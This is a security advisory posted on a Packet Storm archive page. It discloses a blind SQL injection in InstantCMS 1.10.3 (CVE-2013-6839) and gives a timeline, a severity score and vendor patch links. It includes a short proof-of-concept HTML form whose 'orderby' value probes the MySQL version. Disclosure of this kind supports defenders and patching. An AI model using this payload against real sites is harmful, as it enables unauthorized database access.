the original cloud security

InstantCMS 1.10.3 SQL Injection

InstantCMS 1.10.3 SQL Injection
Posted Dec 12, 2013
Authored by High-Tech Bridge SA | Site htbridge.com

InstantCMS version 1.10.3 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2013-6839
MD5 | ec8fa7b3ae0c24a352f0d7c49d9d1f2f

InstantCMS 1.10.3 SQL Injection

Change Mirror Download
Advisory ID: HTB23185
Product: InstantCMS
Vendor: InstantSoft
Vulnerable Version(s): 1.10.3 and probably prior
Tested Version: 1.10.3
Advisory Publication: November 20, 2013 [without technical details]
Vendor Notification: November 20, 2013
Vendor Patch: November 21, 2013
Public Disclosure: December 11, 2013
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-6839
Risk Level: High
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered blind SQL injection vulnerability in InstantCMS, which can be exploited to perform SQL Injection attacks, alter SQL requests and compromise vulnerable application.


1) SQL Injection in InstantCMS: CVE-2013-6839

The vulnerability exists due to insufficient filtration of "orderby" HTTP POST parameter passed to "/catalog/[id]" URL. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

Simple exploit code below uses blind SQL injection exploitation technique, and will display different order of records on the page if MySQL version is 5.*:


<form action="http://[host]/catalog/2" method="post" name="main">
<input type="hidden" name="orderby" value="(-pubdate*(substring(version(),1,1)=5))">
<input type="hidden" name="orderto" value="asc">
<input type="submit" id="btn">
</form>


-----------------------------------------------------------------------------------------------

Solution:

Apply patch for InstantCMS 1.10.3:
http://www.instantcms.ru/download/patch/security_update_for_iCMS_1.10.3_21-11-2013.zip

InstantCMS 1.10.3 downloaded after 21/11/2013 is patched [without version/release modification] and is not vulnerable.

More Information:
http://www.instantcms.ru/novosti/security-update-1-10-3.html
http://trac.instantcms.ru/changeset/1376

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23185 - https://www.htbridge.com/advisory/HTB23185 - SQL Injection in InstantCMS.
[2] InstantCMS - http://www.instantcms.ru/ - InstantCMS is a free open-source system for managing Internet communities and building social networking website.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    2 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close